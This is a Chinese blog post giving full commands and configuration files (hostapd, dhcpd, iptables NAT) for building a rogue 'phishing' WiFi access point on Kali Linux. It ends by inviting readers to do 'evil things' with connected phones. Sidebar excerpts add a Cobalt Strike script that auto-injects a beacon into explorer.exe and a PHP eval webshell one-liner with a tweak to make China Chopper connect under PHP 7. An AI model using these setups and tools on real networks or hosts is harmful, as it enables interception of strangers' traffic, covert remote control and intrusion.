kali linux 2.0 创建钓鱼wifi折腾手记


首先，kali 源很重要，最开始的时候就因为kali源的原因导致装的软件出各种问题，推荐更换Kali源让你更新更快（含kali2.0最新源）中的
#kali官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
#中科大的源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

本以为按照教程做就很简单，可是中间遇到各种坑，经过一阵折腾终于弄好了。。

参考了很多文章，本文主要参考的是利用Kali进行WiFi钓鱼测试实战（以下简称为“文章1”）和Quick and easy fake WiFi access point in Kali（以下简称为“文章2”）。

文章1中采用的方法是 Aircrack-ng + isc-dhcp-server，可是我在自己的机器上实践的时候，aircrack-ng创建的wifi怎么都上不了网。。。文章2中采用的方法是 hostapd + dnsmasq，然而发现dnsmasq有的时候会莫名其妙地出一些问题，不稳定。。
正当一筹莫展的时候，心想采用 hostapd + isc-dhcp-server 组合不就行了，遂按以下的步骤成功建立钓鱼wifi：


  • 1.启动无线网卡

   ifconfig wlan0 10.0.0.1/24 up


  • 2.安装isc-dhcp-server :

    apt-get install isc-dhcp-server
    然后写dhcp配置文件/etc/dhcp/dhcpd.conf

    写入如下内容：

    authoritative;

    default-lease-time 700;
    max-lease-time 8000;

    subnet 10.0.0.0 netmask 255.255.255.0 {
    option routers 10.0.0.1;
    option subnet-mask 255.255.255.0;

    option domain-name-servers 10.0.0.1;

    range 10.0.0.10 10.0.0.100;

    }

    这里以10.0.0.1作为网关和dns服务器地址。


  • 3. 打开ip转发

    echo 1 > /proc/sys/net/ipv4/ip_forward


  • 4. 开启dhcp

    dhcpd -cf /etc/dhcp/dhcpd.conf
    service isc-dhcp-server start


  • 5. 安装 hostapd: 
    apt-get install hostapd


    创建配置文件 hostapd.conf (在 /etc/hostapd目录下，该文件不存在，新建即可)，
    写入以下示例之一即可

 
    非加密wifi示例:
interface=wlan0
driver=nl80211
ssid=KFC
channel=1

    加密wifi示例:
interface=wlan0
driver=nl80211
ssid=KFC
channel=6
hw_mode=g
ignore_broadcast_ssid=0
auth_algs=1
wpa=3
wpa_passphrase=123456789  #密码
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
   启动hostapd
   hostapd   /etc/hostapd/hostapd.conf

   *****
   很有可能会报错：
   Configuration file: hostapd.conf
   nl80211: Could not configure driver mode
   nl80211 driver initialization failed.
   hostapd_free_hapd_data: Interface wlan0 wasn't started

    解决方法(参考自 http://askubuntu.com/questions/472794/hostapd-error-nl80211-could-not-configure-driver-mode)：
   nmcli nm wifi off
   rfkill unblock wlan
   ifconfig wlan0 10.0.0.1/24 up
   ----如果执行“nmcli nm wifi off”时报错“Error: Object 'nm' is unknown”
   ----就改用“nmcli radio wifi off”再执行“rfkill unblock wlan”、“
   ifconfig wlan0 10.0.0.1/24 up”这两条指令
   ******

   可以试着用手机连接，应该可以连上但上不了网


  • 6.配置NAT

   iptables -P FORWARD ACCEPT
   iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #对eth0进行源nat

接着手机就可以上网了，然后干各种邪恶的事了╰(￣▽￣)╭

评论

  1. Unknown2017/7/18 11:01

    正好最近我也在弄这个，去网上先搜集了下资料，看到你这个文章，十分感谢，哈哈

    回复删除

发表评论

此博客中的热门博文

Cobalt Strike automigrate自动迁移进程脚本

    metasploit有个功能叫auto migrate 可以自动把meterpreter移动到其他进程，不过Cobalt Strike却没有这个功能，在网上搜到一个移动到进程id的aggressor脚本，不过用了下发现有问题，另外如果只是想移动到指定id的进程的话还不如用Cobalt Strike自带的inject命令。遂想自己写个脚本，实现beacon上线后自动注入到指定进程名，还能根据当前的beacon所在的进程是32位还是64位来自动选择binject的注入类型。     先贴下写好的脚本内容： on beacon_initial { sub callback { $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+'; $listener = "test"; if ($2 ismatch $regex) { $pid = matched()[1]; $inject_pid = $pid; if (-is64 $1) { $arch = "x64"; } else { $arch = "x86"; } binject($1, $pid, $listener, $arch); } } if($inject_pid != beacon_info($1,"pid")) { bps($1, &callback); } }     脚本不难，讲下编写过程中遇到的几个坑：     1、正则表达式的编写     bps返回的进程列表大致如下：     sppsvc.exe 648 368     svchost.exe 648 444     WmiPrvSE.exe 788 1596     msdtc.exe 648 2740     .....     在写正则表达式的时候以为上面的进程列表每行字符串分割是空格，结果发现是tab（\t），另外每行是以\n来换行的，而且正则表达式的字符串要用单引号包裹，用双引号发现怎么都匹配不上。     2、不停注入的问题     当
阅读全文

菜刀连接php一句话木马返回200的原因及解决方法

图片
    一句话木马的内容为“<?php @eval($_POST["abc"])?>”，用菜刀连接直接返回200          可是hackbar中执行命令却没有问题          很奇怪。后来在看雪上看到也有人发类似的 帖子 ，评论有人提到是php7版本过高的问题，搜了下确实是这样，php manual 中提到： Dynamic calls for certain functions have been forbidden (in the form of $func() or array_map('extract', ...), etc). These functions either inspect or modify another scope, and present with them ambiguous and unreliable behavior. The functions are as follows: assert() - with a string as the first argument      即php7中动态调用一些函数是被禁止的，比如在array_map中调用assert，否则会提示      Warning: Cannot call func_num_args() dynamically in %s on line %d     把一句话里的@符号去掉，则同样会报错“Cannot call assert() with string argument dynamically in ...shell.php(1) : eval()'d code on line 1 ”。       从返回内容可以看到php版本为7.1.6。抓包看了下菜刀的发包，的确用到了array_map("assert"..)          所以只要在菜刀的配置文件里把  array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."
阅读全文

vultr安装kali linux 折腾手记

图片
    打算在vultr上安装kali linux 2017.1 64位，可是安装完重启后kali又进入了安装界面，后来查到网上说系统安装到“finish the installation”这步时，移除ISO文件，避免再次从光盘启动，可是移除ISO重启后一直卡在启动界面，黑屏并提示“booting from disk”，重新安装多少次都无效。     一度怀疑kali 没有成功安装grub。搜索发现 How to set NOMODESET and other kernel boot options in grub2  提到最新的linux把视频模式集成到了内核中，但是一些视频卡有问题会导致黑屏，解决方式就是添加nomodeset参数让内核不去加载视频驱动而是使用bios模式直到X驱动加载完，也提到可以启动时按“e”来编辑grub配置。  The newest kernels have moved the video mode setting into the kernel. So all the programming of the hardware specific clock rates and registers on the video card happen in the kernel rather than in the X driver when the X server starts.. This makes it possible to have high resolution nice looking splash (boot) screens and flicker free transitions from boot splash to login screen. Unfortunately, on some cards this doesnt work properly and you end up with a black screen. Adding the nomodeset parameter instructs the kernel to not load video drivers and use BIOS modes instead until X is loaded.      可是不知道是不是我的姿势不对，我按“
阅读全文